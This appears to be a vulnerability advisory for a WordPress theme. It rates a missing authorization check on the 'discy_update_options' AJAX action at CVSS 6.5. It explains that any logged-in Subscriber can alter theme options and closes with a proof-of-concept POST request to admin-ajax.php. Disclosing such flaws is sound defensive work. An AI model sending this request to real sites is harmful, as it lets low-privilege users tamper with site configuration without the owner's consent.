6.5 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
The theme lacks authorization checks then processing ajax requests to the discy_update_options action, allowing any logged in users (with privileges as low as Subscriber,) to change the theme options by sending a crafted POST request.
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Connection: close Cookie: [subscriber+] action=discy_update_options&data;=